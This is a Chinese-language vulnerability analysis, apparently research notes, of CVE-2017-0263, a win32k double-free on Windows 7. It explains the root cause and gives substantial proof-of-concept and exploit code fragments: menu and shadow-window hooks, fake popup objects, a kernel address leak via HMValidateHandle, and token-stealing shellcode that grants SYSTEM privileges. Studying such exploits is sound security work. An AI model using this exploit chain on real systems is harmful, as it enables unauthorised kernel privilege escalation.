CVE-2017-0263 Win32k漏洞分析笔记
字数 1346 2025-08-06 08:35:39
Win32k漏洞分析:CVE-2017-0263 UAF漏洞深入解析
漏洞概述
CVE-2017-0263是Windows内核组件win32k.sys中的一个Use-After-Free (UAF)漏洞,具体表现为Double Free问题。该漏洞存在于菜单状态处理过程中,允许攻击者在特定条件下通过精心构造的菜单操作导致内核内存被重复释放,最终可能实现权限提升。
环境配置
- 操作系统: Windows 7 x86 SP1
- 调试工具: WinDbg Preview 1.0.2001.02001
漏洞分析
BSOD分析
当运行PoC时,系统会因Double Free导致蓝屏。关键错误信息显示:
fe8733e8 这块幸运内存被释放了两次,成功造成了Double Free
调用链如下:
nt!ExFreePoolWithTag -> win32k!MNFreePopup -> win32k!xxxMNEndMenuState
关键函数分析
xxxMNEndMenuState函数:
void xxxMNEndMenuState(BOOL fFreePopup) {
PTHREADINFO ptiCurrent = PtiCurrent();
PMENUSTATE pMenuState;
pMenuState = ptiCurrent->pMenuState;
if(pMenuState->pGlobalPopupMenu != NULL) {
if(fFreePopup) {
MNFreePopup(pMenuState->pGlobalPopupMenu);
} else {
pMenuState->pGlobalPopupMenu->fDelayedFree = FALSE;
}
}
UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);
ptiCurrent->pMenuState = pMenuState->pmnsPrev;
}
漏洞成因:
- 函数释放
pGlobalPopupMenu后没有及时置空,导致悬挂指针 - 在重置
pMenuState前,函数会解锁uButtonDownHitArea和uDraggingHitArea - 通过构造特殊菜单窗口对象,可以在解锁过程中再次取得控制权,导致Double Free
漏洞触发流程
-
第一次释放:
- 通过发送
MN_ENDMENU(0x1F3)消息触发xxxMNEndMenuState - 调用
MNFreePopup(pMenuState->pGlobalPopupMenu)释放内存
- 通过发送
-
第二次释放:
- 利用阴影窗口机制
- 在释放
uButtonDownHitArea时关联的阴影窗口对象也会被释放 - 通过hook阴影窗口的消息处理函数,再次触发
xxxMNEndMenuState - 导致同一块内存被第二次释放
PoC分析
准备工作
- 创建菜单结构:
HMENU hpopupMenu[2] = {0};
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
// 设置菜单样式:自动消失、非模态、可拖放
MENUINFO mi = {0};
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
// 添加菜单项
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], "item");
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, "item");
- 设置Hook:
// 创建主窗口
HWND hWindowMain = CreateWindowExW(...);
// 设置窗口Hook
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
// 设置事件Hook
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(),
GetCurrentThreadId(), 0);
第一次释放触发
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
事件处理流程:
TrackPopupMenuEx创建菜单窗口- 触发
EVENT_SYSTEM_MENUPOPUPSTART事件 - 在
xxWindowEventProc中发送MN_ENDMENU消息 - 调用
xxxMNEndMenuState进行第一次释放
第二次释放触发
关键点在于阴影窗口的处理:
// 阴影窗口Hook处理函数
LRESULT CALLBACK xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) {
tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
if(cwp->message != WM_NCCREATE) return CallNextHookEx(0, code, wParam, lParam);
WCHAR szTemp[0x20] = {0};
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if(!wcscmp(szTemp, L"#32768")) {
hwndMenuHit = cwp->hwnd;
}
if(!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL) {
iShadowCount++;
if(iShadowCount == 3) {
// Hook第三个阴影窗口的消息处理函数
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
} else {
// 隐藏再显示以创建更多阴影窗口
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE|SWP_NOMOVE|SWP_NOZORDER|SWP_HIDEWINDOW);
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE|SWP_NOMOVE|SWP_NOZORDER|SWP_SHOWWINDOW);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
漏洞利用
利用准备
- Shellcode结构:
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
- 内存分配:
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
伪造对象
- 伪造根弹出菜单对象:
DWORD dwPopupFake[0xD] = {0};
dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
// ... 其他成员初始化
- 设置窗口类:
for(UINT i = 0; i < iWindowCount; ++i) {
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
内核地址泄露
通过HMValidateHandle获取内核对象地址:
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
内核代码执行
- 设置窗口过程:
pvAddrFlags = *(PBYTE*)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
- 触发执行:
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
Shellcode功能
Shellcode主要完成以下任务:
- 判断当前执行环境(内核/用户模式)
- 恢复窗口标志位
- 查找并清空
tagCLS->lpszMenuName - 遍历进程链表找到System进程
- 复制System进程的Token到当前进程
- 增加Token引用计数
总结
CVE-2017-0263漏洞的核心在于:
xxxMNEndMenuState函数释放pGlobalPopupMenu后未及时置空指针- 通过阴影窗口机制和消息Hook实现控制流劫持
- 精心构造的菜单操作导致Double Free
- 利用内存占位和对象伪造实现权限提升
该漏洞展示了Windows内核中菜单处理机制的复杂性以及UAF漏洞的利用方式,是研究Windows内核安全的典型案例。